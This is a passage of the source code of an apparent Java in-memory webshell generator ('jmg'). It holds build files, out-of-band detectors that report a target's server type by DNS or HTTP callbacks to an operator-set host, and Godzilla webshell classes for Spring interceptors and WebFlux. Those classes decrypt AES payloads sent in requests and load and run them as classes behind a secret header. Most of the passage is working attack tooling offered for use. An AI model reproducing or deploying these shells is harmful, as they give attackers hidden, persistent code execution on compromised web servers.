https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712867832438.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712868077145.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712868077145.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712868104094.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712868104094.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1712868281189.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712868281189.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209159695.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209159695.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209182608.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209182608.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209211285.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209211285.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209265218.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209265218.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209278067.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209278067.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209302039.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209302039.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209319058.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209319058.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209337767.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209337767.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209372043.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209372043.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209382797.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209382797.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/1713209425091.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209425091.png
--------------------------------------------------------------------------------
/jmg-docs/1.0.8/img/image-20240412045841947.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/image-20240412045841947.png
--------------------------------------------------------------------------------
/jmg-docs/README_EN.md:
--------------------------------------------------------------------------------
1 | todo
--------------------------------------------------------------------------------
/jmg-docs/img/gui.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/img/gui.png
--------------------------------------------------------------------------------
/jmg-docs/img/gui_250101.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/img/gui_250101.png
--------------------------------------------------------------------------------
/jmg-extender/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | jmg
8 | java-memshell-generator
9 | 1.0.9
10 |
11 |
12 | jmg-extender
13 |
14 |
15 | 8
16 | 8
17 | UTF-8
18 |
19 |
20 |
21 | ${parent.groupId}
22 | jmg-core
23 | ${parent.version}
24 | compile
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java:
--------------------------------------------------------------------------------
1 | package jmg.extender.detector;
2 |
3 | import java.net.InetAddress;
4 | import java.net.UnknownHostException;
5 | import java.util.ArrayList;
6 | import java.util.Map;
7 |
8 | public class DNSLogDetector {
9 |
10 | static {
11 | new DNSLogDetector();
12 | }
13 |
14 | public DNSLogDetector(){
15 | sendServerType();
16 | }
17 |
18 | public static String getDomain(){
19 | return "";
20 | }
21 |
22 | private static void sendServerType() {
23 | ArrayList serverTypes = getServerType();
24 | String dns_domain = getDomain();
25 | String domain = "";
26 | try {
27 | for (int i = 0; i < serverTypes.size(); i++) {
28 | Object obj = serverTypes.get(i);
29 | domain = String.format("%s.%d.%s",obj,System.nanoTime(),dns_domain);
30 | InetAddress.getAllByName(domain);
31 | }
32 | } catch (UnknownHostException e) { }
33 | }
34 |
35 | public static ArrayList getServerType() {
36 | ArrayList serverTypes = new ArrayList<>();
37 | Map stackTraces = Thread.getAllStackTraces();
38 | for (Map.Entry entry : stackTraces.entrySet()) {
39 | StackTraceElement[] stackTraceElements = entry.getValue();
40 | for (StackTraceElement element : stackTraceElements) {
41 | if (element.getClassName().contains("org.apache.catalina.core")) {
42 | serverTypes.add("tomcat");
43 | }
44 | if (element.getClassName().contains("weblogic.servlet.internal")) {
45 | serverTypes.add("weblogic");
46 | }
47 | if (element.getClassName().contains("com.caucho.server")) {
48 | serverTypes.add("resin");
49 | }
50 | if (element.getClassName().contains("org.eclipse.jetty.server")) {
51 | serverTypes.add("jetty");
52 | }
53 | if (element.getClassName().contains("com.ibm.ws")) {
54 | serverTypes.add("websphere");
55 | }
56 | if (element.getClassName().contains("io.undertow.server")) {
57 | serverTypes.add("undertow");
58 | }
59 | if (element.getClassName().contains("com.tongweb.web")) {
60 | serverTypes.add("tongweb");
61 | }
62 | if (element.getClassName().contains("com.apusic.web")) {
63 | serverTypes.add("apusic");
64 | }
65 | if (element.getClassName().contains("org.springframework.web")) {
66 | serverTypes.add("spring");
67 | }
68 | }
69 | if (serverTypes.size() > 7){
70 | return serverTypes;
71 | }
72 | }
73 |
74 | if(serverTypes.size() == 0){
75 | serverTypes.add("none");
76 | }
77 |
78 | return serverTypes;
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java:
--------------------------------------------------------------------------------
1 | package jmg.extender.detector;
2 |
3 | import java.io.IOException;
4 | import java.net.UnknownHostException;
5 | import java.util.ArrayList;
6 | import java.util.Map;
7 |
8 |
9 | public class HTTPLogDetector {
10 |
11 | static {
12 | new HTTPLogDetector();
13 | }
14 |
15 |
16 | public HTTPLogDetector() {
17 | sendServerType();
18 | }
19 |
20 | public static String getBaseURL() {
21 | return "";
22 | }
23 |
24 |
25 | private static void sendServerType() {
26 | ArrayList serverTypes = getServerType();
27 | String baseurl = getBaseURL();
28 | try {
29 | for (int i = 0; i < serverTypes.size(); i++) {
30 | Object server_type = serverTypes.get(i);
31 | String tmpUrl = String.format("%s/%s", baseurl, server_type);
32 | new java.net.URL(tmpUrl).getContent();
33 | }
34 | } catch (UnknownHostException ignored) {
35 | } catch (IOException e) {
36 | throw new RuntimeException(e);
37 | }
38 | }
39 |
40 |
41 | public static ArrayList getServerType() {
42 | ArrayList serverTypes = new ArrayList<>();
43 | Map stackTraces = Thread.getAllStackTraces();
44 | for (Map.Entry entry : stackTraces.entrySet()) {
45 | StackTraceElement[] stackTraceElements = entry.getValue();
46 | for (StackTraceElement element : stackTraceElements) {
47 | if (element.getClassName().contains("org.apache.catalina.core")) {
48 | serverTypes.add("tomcat");
49 | }
50 | if (element.getClassName().contains("weblogic.servlet.internal")) {
51 | serverTypes.add("weblogic");
52 | }
53 | if (element.getClassName().contains("com.caucho.server")) {
54 | serverTypes.add("resin");
55 | }
56 | if (element.getClassName().contains("org.eclipse.jetty.server")) {
57 | serverTypes.add("jetty");
58 | }
59 | if (element.getClassName().contains("com.ibm.ws")) {
60 | serverTypes.add("websphere");
61 | }
62 | if (element.getClassName().contains("io.undertow.server")) {
63 | serverTypes.add("undertow");
64 | }
65 | if (element.getClassName().contains("com.tongweb.web")) {
66 | serverTypes.add("tongweb");
67 | }
68 | if (element.getClassName().contains("com.apusic.web")) {
69 | serverTypes.add("apusic");
70 | }
71 | if (element.getClassName().contains("org.springframework.web")) {
72 | serverTypes.add("spring");
73 | }
74 | }
75 | if (serverTypes.size() > 7){
76 | return serverTypes;
77 | }
78 | }
79 |
80 | if(serverTypes.size() == 0){
81 | serverTypes.add("none");
82 | }
83 |
84 | return serverTypes;
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java:
--------------------------------------------------------------------------------
1 | package jmg.extender.detector;
2 |
3 | import java.util.Map;
4 |
5 | public class SleepDetector {
6 |
7 | static {
8 | new SleepDetector();
9 | }
10 |
11 | public SleepDetector() {
12 | initServerType();
13 | }
14 |
15 | public static String getServerType() {
16 | return "tomcat";
17 | }
18 |
19 | private static void execSleep() {
20 | try {
21 | Thread.sleep(5000);
22 | } catch (Exception e) {
23 | }
24 | }
25 |
26 | public static void initServerType() {
27 | String target_server_type = getServerType();
28 | Map stackTraces = Thread.getAllStackTraces();
29 | for (Map.Entry entry : stackTraces.entrySet()) {
30 | StackTraceElement[] stackTraceElements = entry.getValue();
31 | for (StackTraceElement element : stackTraceElements) {
32 | if (target_server_type.equals("tomcat") && element.getClassName().contains("org.apache.catalina.core")) {
33 | execSleep();
34 | return;
35 | }
36 | if (target_server_type.equals("weblogic") && element.getClassName().contains("weblogic.servlet.internal")) {
37 | execSleep();
38 | return;
39 | }
40 | if (target_server_type.equals("resin") && element.getClassName().contains("com.caucho.server")) {
41 | execSleep();
42 | return;
43 | }
44 | if (target_server_type.equals("jetty") && element.getClassName().contains("org.eclipse.jetty.server")) {
45 | execSleep();
46 | return;
47 | }
48 | if (target_server_type.equals("websphere") && element.getClassName().contains("com.ibm.ws")) {
49 | execSleep();
50 | return;
51 | }
52 | if (target_server_type.equals("undertow") && element.getClassName().contains("io.undertow.server")) {
53 | execSleep();
54 | return;
55 | }
56 | if (target_server_type.equals("tongweb") && element.getClassName().contains("com.tongweb.web")) {
57 | execSleep();
58 | return;
59 | }
60 | if (target_server_type.equals("apusic") && element.getClassName().contains("com.apusic.web")) {
61 | execSleep();
62 | return;
63 | }
64 | if (target_server_type.equals("spring") && element.getClassName().contains("org.springframework.web")) {
65 | execSleep();
66 | return;
67 | }
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.extender.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtMethod;
7 | import jmg.core.config.AbstractConfig;
8 | import jmg.core.config.Constants;
9 | import jmg.core.util.CtClassUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.extender.util.DetectorUtil;
12 |
13 | /**
14 | * 中间件/框架探测器
15 | */
16 | public class ExtenderGenerator {
17 |
18 | public byte[] makeShell(AbstractConfig config) throws Exception {
19 | String detectorClassName = DetectorUtil.getDetectorClassName(config.getDetectWay());
20 | byte[] bytes = Utils.generate(detectorClassName, config);
21 | config.setExtenderBytes(bytes);
22 | config.setExtenderBytesLength(bytes.length);
23 | return bytes;
24 | }
25 |
26 |
27 | public static class Utils {
28 | @SuppressWarnings("unchecked")
29 | private final static ClassPool pool = ClassPool.getDefault();
30 | private static byte[] bytes;
31 |
32 | public static byte[] generate(String detectorClassName, AbstractConfig config) throws Exception {
33 | pool.insertClassPath(new ClassClassPath(ExtenderGenerator.class));
34 | CtClass ctClass = pool.getCtClass(detectorClassName);
35 | JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName());
36 | if (config.getDetectWay().contains(Constants.DETECT_DNS)) {
37 | if (config.getDnsDomain() != null) {
38 | CtMethod getDomain = ctClass.getDeclaredMethod("getDomain");
39 | getDomain.setBody(String.format("{return \"%s\";}", config.getDnsDomain()));
40 | }
41 | } else if (config.getDetectWay().contains(Constants.DETECT_HTTP)) {
42 | if (config.getDnsDomain() != null) {
43 | CtMethod getBaseURL = ctClass.getDeclaredMethod("getBaseURL");
44 | getBaseURL.setBody(String.format("{return \"%s\";}", config.getBaseUrl()));
45 | }
46 | } else if (config.getDetectWay().contains(Constants.DETECT_SLEEP)) {
47 | if (config.getSleepTime() != null) {
48 | CtMethod getSeconds = ctClass.getDeclaredMethod("execSleep");
49 | getSeconds.setBody(String.format("try{java.lang.Thread.sleep(%sL);}catch (Exception e){}", Integer.valueOf(config.getSleepTime()) * 1000));
50 | }
51 | if (config.getServerType() != null) {
52 | CtMethod getServerType = ctClass.getDeclaredMethod("getServerType");
53 | getServerType.setBody(String.format("{return \"%s\";}", config.getServerType().toLowerCase()));
54 | }
55 | }
56 | JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName());
57 | JavassistUtil.removeSourceFileAttribute(ctClass);
58 | bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
59 | ctClass.detach();
60 |
61 | return bytes;
62 | }
63 | }
64 | }
65 |
--------------------------------------------------------------------------------
/jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.extender.util;
2 |
3 | import jmg.core.config.Constants;
4 | import jmg.extender.detector.DFSEchoDetector;
5 | import jmg.extender.detector.DNSLogDetector;
6 | import jmg.extender.detector.HTTPLogDetector;
7 | import jmg.extender.detector.SleepDetector;
8 |
9 | import java.util.HashMap;
10 | import java.util.Map;
11 |
12 | public class DetectorUtil {
13 |
14 | private static final Map DETECTOR_CLASSNAME_MAP = new HashMap();
15 |
16 | public DetectorUtil() {
17 | }
18 |
19 | public static String getDetectorClassName(String detectWay) throws Exception {
20 | if (DETECTOR_CLASSNAME_MAP.get(detectWay) == null) {
21 | throw new Exception("Invalid detect way '" + detectWay + "'");
22 | } else {
23 | return DETECTOR_CLASSNAME_MAP.getOrDefault(detectWay, "");
24 | }
25 | }
26 |
27 | static {
28 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DFSECHO, DFSEchoDetector.class.getName());
29 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DNS, DNSLogDetector.class.getName());
30 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_HTTP, HTTPLogDetector.class.getName());
31 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_SLEEP, SleepDetector.class.getName());
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/jmg-godzilla/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | 1.0.9
8 |
9 | jmg-godzilla
10 |
11 |
12 |
13 |
14 | ${parent.groupId}
15 | jmg-core
16 | ${parent.version}
17 | compile
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jmg-godzilla/src/main/java/jmg/godzilla/generator/GodzillaGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.godzilla.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.CtClass;
5 | import jmg.godzilla.util.ShellUtil;
6 | import jmg.core.config.AbstractConfig;
7 | import jmg.core.config.Constants;
8 | import jmg.core.generator.IShellGenerator;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.core.util.ResponseUtil;
12 | import me.gv7.woodpecker.tools.common.FileUtil;
13 |
14 | public class GodzillaGenerator implements IShellGenerator {
15 |
16 | @Override
17 | public void initShell(AbstractConfig config) {
18 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
19 | if (config.getKey() == null) config.setKey(CommonUtil.genRandomLengthString(6));
20 | }
21 |
22 | @Override
23 | public byte[] makeShell(AbstractConfig config) throws Exception {
24 | initShell(config);
25 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
26 | String shellClassName = ShellUtil.getShellClassName(shellName);
27 | byte[] bytes = modifyShell(shellClassName, config);
28 | config.setShellBytes(bytes);
29 | config.setShellBytesLength(bytes.length);
30 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
31 | return bytes;
32 | }
33 |
34 | @Override
35 | public byte[] modifyShell(String className, AbstractConfig config) {
36 | byte[] bytes = new byte[0];
37 | try {
38 | pool.insertClassPath(new ClassClassPath(GodzillaGenerator.class));
39 | CtClass ctClass = pool.getCtClass(className);
40 | // lambda 表达式
41 | if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) {
42 | ctClass.getClassFile().setVersionToJava5();
43 | }
44 | JavassistUtil.addStaticFieldIfNotNull(ctClass, "pass", config.getPass());
45 | JavassistUtil.addStaticFieldIfNotNull(ctClass, "key", CommonUtil.getMd5(config.getKey()).substring(0, 16));
46 |
47 | if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) {
48 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
49 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
50 | }
51 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
52 |
53 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
54 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
55 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
56 | }
57 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
58 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
59 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
60 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
61 | }
62 |
63 | JavassistUtil.removeSourceFileAttribute(ctClass);
64 | bytes = ctClass.toBytecode();
65 | ctClass.detach();
66 | } catch (Exception e) {
67 | e.printStackTrace();
68 | throw new RuntimeException(e);
69 | }
70 | return bytes;
71 | }
72 |
73 | }
74 |
--------------------------------------------------------------------------------
/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaInterceptor.java:
--------------------------------------------------------------------------------
1 | package jmg.godzilla.memshell;
2 |
3 | import org.springframework.web.servlet.AsyncHandlerInterceptor;
4 |
5 | import javax.crypto.Cipher;
6 | import javax.crypto.spec.SecretKeySpec;
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 | import javax.servlet.http.HttpSession;
10 | import java.io.ByteArrayOutputStream;
11 | import java.math.BigInteger;
12 | import java.security.MessageDigest;
13 |
14 | public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
15 |
16 | public static String key;
17 | public static String pass;
18 | public static String md5;
19 |
20 | public String headerName;
21 |
22 | public String headerValue;
23 |
24 | static {
25 | md5 = md5(pass + key);
26 | }
27 |
28 | public GodzillaInterceptor() {
29 | }
30 |
31 | public GodzillaInterceptor(ClassLoader z) {
32 | super(z);
33 | md5 = md5(pass + key);
34 | }
35 |
36 |
37 | public Class Q(byte[] cb) {
38 | return super.defineClass(cb, 0, cb.length);
39 | }
40 |
41 | public byte[] x(byte[] s, boolean m) {
42 | try {
43 |
44 | Cipher c = Cipher.getInstance("AES");
45 | c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
46 | return c.doFinal(s);
47 | } catch (Exception var4) {
48 | return null;
49 | }
50 | }
51 |
52 |
53 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
54 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
55 | HttpSession session = request.getSession();
56 | byte[] data = b64Decode(request.getParameter(pass));
57 | data = this.x(data, false);
58 | if (session.getAttribute("payload") == null) {
59 | session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
60 | } else {
61 | request.setAttribute("parameters", data);
62 | ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
63 | Object f;
64 | try {
65 | f = ((Class) session.getAttribute("payload")).newInstance();
66 | } catch (InstantiationException | IllegalAccessException e) {
67 | throw new RuntimeException(e);
68 | }
69 | f.equals(arrOut);
70 | // f.equals(data);
71 | f.equals(request);
72 | response.getWriter().write(md5.substring(0, 16));
73 | f.toString();
74 | response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
75 | response.getWriter().write(md5.substring(16));
76 | }
77 | return false;
78 | } else {
79 | return true;
80 | }
81 | }
82 |
83 | public static String md5(String s) {
84 | String ret = null;
85 | try {
86 | MessageDigest m = MessageDigest.getInstance("MD5");
87 | m.update(s.getBytes(), 0, s.length());
88 | ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
89 | } catch (Exception var3) {
90 | }
91 | return ret;
92 | }
93 |
94 | public static String base64Encode(byte[] bs) throws Exception {
95 | String value = null;
96 | Class base64;
97 | try {
98 | base64 = Class.forName("java.util.Base64");
99 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
100 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
101 | } catch (Exception var6) {
102 | try {
103 | base64 = Class.forName("sun.misc.BASE64Encoder");
104 | Object Encoder = base64.newInstance();
105 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
106 | } catch (Exception var5) {
107 | }
108 | }
109 | return value;
110 | }
111 |
112 | public static byte[] b64Decode(String bs) throws Exception {
113 | byte[] value = null;
114 |
115 | Class base64;
116 | try {
117 | base64 = Class.forName("java.util.Base64");
118 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
119 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
120 | } catch (Exception var6) {
121 | try {
122 | base64 = Class.forName("sun.misc.BASE64Decoder");
123 | Object decoder = base64.newInstance();
124 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
125 | } catch (Exception var5) {
126 | }
127 | }
128 |
129 | return value;
130 | }
131 | }
132 |
133 |
--------------------------------------------------------------------------------
/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaWebFluxHandlerMethod.java:
--------------------------------------------------------------------------------
1 | package jmg.godzilla.memshell;
2 |
3 | import org.springframework.http.HttpStatus;
4 | import org.springframework.http.ResponseEntity;
5 | import org.springframework.web.server.ServerWebExchange;
6 | import reactor.core.publisher.Mono;
7 |
8 | import java.lang.reflect.Method;
9 | import java.net.URL;
10 | import java.net.URLClassLoader;
11 | import java.util.HashMap;
12 | import java.util.Map;
13 |
14 | public class GodzillaWebFluxHandlerMethod {
15 | public static Map store = new HashMap();
16 | public static String key;
17 | public static String pass;
18 | public static String md5;
19 |
20 | public GodzillaWebFluxHandlerMethod() {
21 | }
22 |
23 | static {
24 | md5 = md5(pass + key);
25 | }
26 |
27 |
28 | private static Class defineClass(byte[] classbytes) throws Exception {
29 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
31 | method.setAccessible(true);
32 | return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
33 | }
34 |
35 | public byte[] x(byte[] s, boolean m) {
36 | try {
37 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
38 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
39 | return c.doFinal(s);
40 | } catch (Exception e) {
41 | return null;
42 | }
43 | }
44 |
45 | public static String md5(String s) {
46 | String ret = null;
47 | try {
48 | java.security.MessageDigest m;
49 | m = java.security.MessageDigest.getInstance("MD5");
50 | m.update(s.getBytes(), 0, s.length());
51 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
52 | } catch (Exception e) {
53 | }
54 | return ret;
55 | }
56 |
57 | public static String base64Encode(byte[] bs) throws Exception {
58 | Class base64;
59 | String value = null;
60 | try {
61 | base64 = Class.forName("java.util.Base64");
62 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
63 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
64 | } catch (Exception e) {
65 | try {
66 | base64 = Class.forName("sun.misc.BASE64Encoder");
67 | Object Encoder = base64.newInstance();
68 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
69 | } catch (Exception e2) {
70 | }
71 | }
72 | return value;
73 | }
74 |
75 | public static byte[] base64Decode(String bs) throws Exception {
76 | Class base64;
77 | byte[] value = null;
78 | try {
79 | base64 = Class.forName("java.util.Base64");
80 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
81 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
82 | } catch (Exception e) {
83 | try {
84 | base64 = Class.forName("sun.misc.BASE64Decoder");
85 | Object decoder = base64.newInstance();
86 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
87 | } catch (Exception e2) {
88 | }
89 | }
90 | return value;
91 | }
92 |
93 | public synchronized ResponseEntity invoke(ServerWebExchange exchange) {
94 | try {
95 | Object bufferStream = exchange.getFormData().flatMap(c -> {
96 | StringBuilder result = new StringBuilder();
97 | try {
98 | String id = c.getFirst(pass);
99 | byte[] data = x(base64Decode(id), false);
100 | if (store.get("payload") == null) {
101 | store.put("payload", defineClass(data));
102 | } else {
103 | store.put("parameters", data);
104 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
105 | Object f = ((Class) store.get("payload")).newInstance();
106 | f.equals(arrOut);
107 | f.equals(data);
108 | result.append(md5.substring(0, 16));
109 | f.toString();
110 | result.append(base64Encode(x(arrOut.toByteArray(), true)));
111 | result.append(md5.substring(16));
112 | }
113 | } catch (Exception ex) {
114 | result.append(ex.getMessage());
115 | }
116 | return Mono.just(result.toString());
117 | });
118 | return new ResponseEntity(bufferStream, HttpStatus.OK);
119 | } catch (Exception ex) {
120 | return new ResponseEntity(ex.getMessage(), HttpStatus.OK);
121 | }
122 | }
123 | }
--------------------------------------------------------------------------------
/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.godzilla.util;
2 |
3 | import jmg.core.config.Constants;
4 | import jmg.godzilla.memshell.*;
5 |
6 | import java.util.HashMap;
7 | import java.util.Map;
8 |
9 | public class ShellUtil {
10 |
11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap();
12 | private static final Map> toolMap = new HashMap();
13 |
14 | public ShellUtil() {
15 | }
16 |
17 | public static String getShellName(String toolType, String shellType) {
18 | Map shellMap = toolMap.get(toolType);
19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
20 | }
21 |
22 | public static String getShellClassName(String shellName) throws Exception {
23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
24 | throw new Exception("Invalid shell type '" + shellName + "'");
25 | } else {
26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
27 | }
28 | }
29 |
30 | static {
31 | SHELL_CLASSNAME_MAP.put(GodzillaFilter.class.getSimpleName(), GodzillaFilter.class.getName());
32 | SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName());
33 | SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName());
34 | SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
35 | SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName());
36 | SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName());
37 | SHELL_CLASSNAME_MAP.put(GodzillaValve.class.getSimpleName(), GodzillaValve.class.getName());
38 |
39 | Map godzillaMap = new HashMap();
40 | godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
41 | godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
42 | godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
